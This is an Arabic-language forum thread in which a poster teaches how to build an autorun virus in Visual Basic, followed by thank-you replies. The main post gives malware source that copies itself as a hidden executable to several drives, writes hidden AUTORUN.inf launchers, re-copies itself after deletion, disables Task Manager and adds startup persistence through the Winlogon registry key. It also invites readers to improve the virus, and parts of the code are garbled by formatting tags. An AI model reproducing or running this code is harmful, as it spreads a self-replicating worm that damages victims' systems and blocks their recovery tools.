[ شرح ] كيف تصنع فيروس autorun بنفسك؟

تم تحميل الصفحة في 1,2551840 ثانية
كيف تصنع فيروس autorun بنفسك؟
الحالة
مغلق و غير مفتوح للمزيد من الردود.
إنضم
9 مارس 2011
المشاركات
514
الإعجابات
272
النقاط
0
الإقامة
Bahrain ' MuharraQ
السلام عــــــلــــيـــكــــــم ورحــــــــمـــة الله وبركاته


كيف تصنع فيروس AUTORUN بنفسك بالفيجوال بيسك

هذا كود لفايروس يحتوي علي ملف AUTORUN.INf كلما فتحت الاقراص الصلبة فأن الفايروس يفتح نفسة ونسخ نفسة في جميع الاقراص الصلبة
ادخل هذه الاكواد في الفورم لود
كود:
A:
FileCopy App.Path + "\" + App.EXEName + ".exe", "c:\vir.exe"
SetAttr "c:\vir", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "c:\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open =vir.exe"
Print #1, "****************l\explore\command=vir.exe"
Print #1, "****************l\open\command=vir.exe"
Close #1
SetAttr "c:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem
SetAttr "c:\vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem

FileCopy App.Path + "" + App.EXEName + ".exe", "d:\vir.exe"
SetAttr "d:\vir", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "d:\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open = vir.exe"
Print #1, "****************l\explore\command=vir.exe"
Print #1, "****************l\open\command= vir.exe"
Close #1
SetAttr "d:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem
 SetAttr "d:\vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem

FileCopy App.Path + "" + App.EXEName + ".exe", "e:\vir.exe"
SetAttr "e:\vir", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "e:\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open = vir.exe"
Print #1, "****************l\explore\command=vir.exe"
Print #1, "****************l\open\command= vir.exe"
Close #1
SetAttr "e:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem
SetAttr "e:\vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem
goto A
طبعاً الاكواد الي فوق تنسخ الفيروس على القراص الصلبة التالية فقط-السي-الدي-الاي
اما اذا كنت تريده ينسخ نفسة على كل الاقراص
تكتب نفس الاوامر الي فوق ولكن مع تغير احرف الاقراص
طبعا تكتب الحروف كلها من AالىZ
مثال(قبل التعديل)

كود:
[SIZE=5][COLOR=#000000][COLOR=#0000BB]On Error Resume Next 
FileCopy App[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]Path [/COLOR][COLOR=#007700]+ [/COLOR][COLOR=#DD0000]"\" + App.EXEName + "[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]exe[/COLOR][COLOR=#DD0000]", "[/COLOR][COLOR=#0000BB]c[/COLOR][COLOR=#007700]:[/COLOR][COLOR=#0000BB]vir[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]exe[/COLOR][COLOR=#DD0000]" 
SetAttr "[/COLOR][COLOR=#0000BB]c[/COLOR][COLOR=#007700]:[/COLOR][COLOR=#0000BB]vir[/COLOR][COLOR=#DD0000]", vbHidden + vbReadOnly + vbArchive + vbSystem 
Open "[/COLOR][COLOR=#0000BB]c[/COLOR][COLOR=#007700]:[/COLOR][COLOR=#0000BB]AUTORUN[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]inf[/COLOR][COLOR=#DD0000]" For Append As #1 
Print #1, "[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]AutoRun[/COLOR][COLOR=#007700]][/COLOR][COLOR=#DD0000]" 
Print #1, "[/COLOR][COLOR=#0000BB]open [/COLOR][COLOR=#007700]=[/COLOR][COLOR=#0000BB]vir[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]exe[/COLOR][COLOR=#DD0000]" 
Print #1, "[/COLOR][COLOR=#0000BB]****************lexplorecommand[/COLOR][COLOR=#007700]=[/COLOR][COLOR=#0000BB]vir[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]exe[/COLOR][COLOR=#DD0000]" 
Print #1, "[/COLOR][COLOR=#0000BB]****************lopencommand[/COLOR][COLOR=#007700]=[/COLOR][COLOR=#0000BB]vir[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]exe[/COLOR][COLOR=#DD0000]" 
Close #1 
SetAttr "[/COLOR][COLOR=#0000BB]c[/COLOR][COLOR=#007700]:[/COLOR][COLOR=#0000BB]AUTORUN[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]inf[/COLOR][COLOR=#DD0000]", vbHidden + vbReadOnly + vbArchive + vbSystem 
SetAttr "[/COLOR][COLOR=#0000BB]c[/COLOR][COLOR=#007700]:[/COLOR][COLOR=#0000BB]vir[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]exe[/COLOR][COLOR=#DD0000]", vbHidden + vbReadOnly + vbArchive + vbSystem  [/COLOR][/COLOR][/SIZE]
مثال(بعد التعديل)))سيتم نسخ الفيروسات على M
On Error Resume Next
FileCopy App.Path + "\" + App.EXEName + ".exe", "m:\vir.exe"
SetAttr "m:\vir", vbHidden + vbReadOnly + vbArchive + vbSystem
Open "m:\AUTORUN.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "open =vir.exe"
Print #1, "****************l\explore\command=vir.exe"
Print #1, "****************l\open\command=vir.exe"
Close #1
SetAttr "m:\AUTORUN.inf", vbHidden + vbReadOnly + vbArchive + vbSystem
SetAttr "m:\vir.exe", vbHidden + vbReadOnly + vbArchive + vbSystem



|||||||||||||||||| من مميزات الفيروس
1-ينسخ نفسه على كل الاقراص
2-يصنع لنفسه ملف AUTORUN.inf من دون تدخلك

3-يمكنك التعديل عليه واضافة الاكواد الي تبي ""مثل
4-حتى لو حذفت الفيروس سيعيد نسخ نفسه في المكان الي حذفته منه


يمكن ان تجعلة يقوم بتعطيل ادارة مهام ويندوز بهذا الكود

كود:
[SIZE=5][COLOR=#000000][COLOR=#0000BB]Dim WSH [/COLOR][COLOR=#007700]As [/COLOR][COLOR=#0000BB]Object 
Set WSH [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]CreateObject[/COLOR][COLOR=#007700]([/COLOR][COLOR=#DD0000]"Wscript.****************l"[/COLOR][COLOR=#007700]) 
[/COLOR][COLOR=#0000BB]WSH[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]RegWrite [/COLOR][COLOR=#DD0000]"HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\system\DisableTaskMgr"[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]1[/COLOR][COLOR=#007700], [/COLOR][COLOR=#DD0000]"REG_DWORD  [/COLOR][/COLOR][/SIZE]
"

ويمكن ان تجعلة يشغل نفسة مع بداية تشغيل الويندوس بهذه الكود

كود:
[SIZE=5][COLOR=#000000][COLOR=#0000BB]FileCopy App[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]Path [/COLOR][COLOR=#007700]+ [/COLOR][COLOR=#DD0000]"\" + App.EXEName + "[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]exe[/COLOR][COLOR=#DD0000]", "[/COLOR][COLOR=#0000BB]c[/COLOR][COLOR=#007700]:[/COLOR][COLOR=#0000BB]windowssystem32vir[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]exe[/COLOR][COLOR=#DD0000]" 
Dim WSH As Object 
Set WSH = CreateObject("[/COLOR][COLOR=#0000BB]Wscript[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]****************l[/COLOR][COLOR=#DD0000]") 
WSH.RegWrite "[/COLOR][COLOR=#0000BB]HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon****************l[/COLOR][COLOR=#DD0000]", "[/COLOR][COLOR=#0000BB]Explorer[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]exe vir[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]exe[/COLOR][COLOR=#DD0000]", "[/COLOR][COLOR=#0000BB]REG_SZ[/COLOR][COLOR=#DD0000]"  [/COLOR][/COLOR][/SIZE]
وطريقة حذفه ادخل الاكواد التالية في مشروع جديد طبعا بالضافة لاحرف الاقراص الي اضفتها على الاكواد السابقة
ولكن قبل كذا اقفل الفيروس من ادارة المهام

كود:
[SIZE=5][COLOR=#000000][COLOR=#0000BB]On Error Resume Next 
SetAttr [/COLOR][COLOR=#DD0000]"c:\AUTORUN.INF"[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]vbNormal 
Kill [/COLOR][COLOR=#DD0000]"c:\AUTORUN.INF" 
[/COLOR][COLOR=#0000BB]SetAttr [/COLOR][COLOR=#DD0000]"c:\vir.exe"[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]vbNormal 
Kill [/COLOR][COLOR=#DD0000]"c:\vir.exe" 

[/COLOR][COLOR=#0000BB]SetAttr [/COLOR][COLOR=#DD0000]"d:\AUTORUN.INF"[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]vbNormal 
Kill [/COLOR][COLOR=#DD0000]"d:\AUTORUN.INF" 
[/COLOR][COLOR=#0000BB]SetAttr [/COLOR][COLOR=#DD0000]"d:\vir.exe"[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]vbNormal 
Kill [/COLOR][COLOR=#DD0000]"d:\vir.exe" 

[/COLOR][COLOR=#0000BB]SetAttr [/COLOR][COLOR=#DD0000]"e:\AUTORUN.INF"[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]vbNormal 
Kill [/COLOR][COLOR=#DD0000]"e:\AUTORUN.INF" 
[/COLOR][COLOR=#0000BB]SetAttr [/COLOR][COLOR=#DD0000]"e:\vir.exe"[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]vbNormal 
Kill [/COLOR][COLOR=#DD0000]"e:\vir.exe" 

[/COLOR][COLOR=#0000BB]SetAttr [/COLOR][COLOR=#DD0000]"f:\AUTORUN.INF"[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]vbNormal 
Kill [/COLOR][COLOR=#DD0000]"f:\AUTORUN.INF" 
[/COLOR][COLOR=#0000BB]SetAttr [/COLOR][COLOR=#DD0000]"f:\vir.exe"[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]vbNormal 
Kill [/COLOR][COLOR=#DD0000]"g:\vir.exe" 

[/COLOR][COLOR=#0000BB]SetAttr [/COLOR][COLOR=#DD0000]"g:\AUTORUN.INF"[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]vbNormal 
Kill [/COLOR][COLOR=#DD0000]"g:\AUTORUN.INF" 
[/COLOR][COLOR=#0000BB]SetAttr [/COLOR][COLOR=#DD0000]"g:\vir.exe"[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]vbNormal 
Kill [/COLOR][COLOR=#DD0000]"g:\vir.exe"  [/COLOR][/COLOR][/SIZE]
___________________
لكن فيه مشكله وحده بالفيروس
الفيروس راح يقفل الهاردات بحيث لا يمكنك الدخول اليها لذا ارجوا من الشباب ان يطوروا هذه المشكله فيه بحيث يكون الفيروس قادراً على فتح محرك الاقراص الي هو موجود فيه

________
لترى الفيروسادخل على
لوحة التحكم\\\خيارات المجلد\\\عرض
اضغط على اظهار الملفات المخفيه+ازالة الصح من امام "اخفاء ملفات النظام المحمية"

__________
اتمنى يعجبكم

وانا غير مسؤول امام الله عن اي شخص يستخدمه ضد المسلمين

ان اعجبك موضوعي قيمني:15:
 
إنضم
22 أغسطس 2010
المشاركات
1,925
الإعجابات
747
النقاط
0
رد: كيف تصنع فيروس autorun بنفسك؟

تسلم يا غالي
جاري تقييمك
:6:
 
إنضم
22 أغسطس 2010
المشاركات
1,925
الإعجابات
747
النقاط
0
رد: كيف تصنع فيروس autorun بنفسك؟

تـم التـقـييم بنـجـاح:6:
 
إنضم
10 مارس 2011
المشاركات
444
الإعجابات
76
النقاط
0
رد: كيف تصنع فيروس autorun بنفسك؟

يسلموووووووووووو ايدك حبيب قلبي والشرح الروعة
 

generudan

Beginner Developer
rankrank
إنضم
9 مارس 2011
المشاركات
228
الإعجابات
13
النقاط
0
رد: كيف تصنع فيروس autorun بنفسك؟

يسلموووووووووووو ايدك حبيب قلبي والشرح الروعة :28:
 
إنضم
15 أغسطس 2010
المشاركات
327
الإعجابات
66
النقاط
28
رد: كيف تصنع فيروس autorun بنفسك؟

يعطيك العافيه يابطل تستاهل

تم التقيم 35=45
 
إنضم
10 مارس 2011
المشاركات
573
الإعجابات
173
النقاط
43
الإقامة
المغرب
رد: كيف تصنع فيروس autorun بنفسك؟

بارك الله فيك:29:
لكن هل يوجد كود للديلفي:3:
لا افهم في الفيجوال:26:
 

booba

Active DeveloPer
rankrank
إنضم
18 أغسطس 2010
المشاركات
453
الإعجابات
44
النقاط
0
رد: كيف تصنع فيروس autorun بنفسك؟

جزاك الله خيرا
 

BlackMosiba

Beginner Developer
rank
إنضم
16 مارس 2011
المشاركات
90
الإعجابات
7
النقاط
0
رد: كيف تصنع فيروس autorun بنفسك؟


يعطيكٍ ألفٍ عآفيـةٍ ع آلمجهـوٍدٍ آلرٍآئعٍ هذآ
موٍفقٍ وٍآلىٍ آلآمـآمٍ دآئمــآ :8:
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل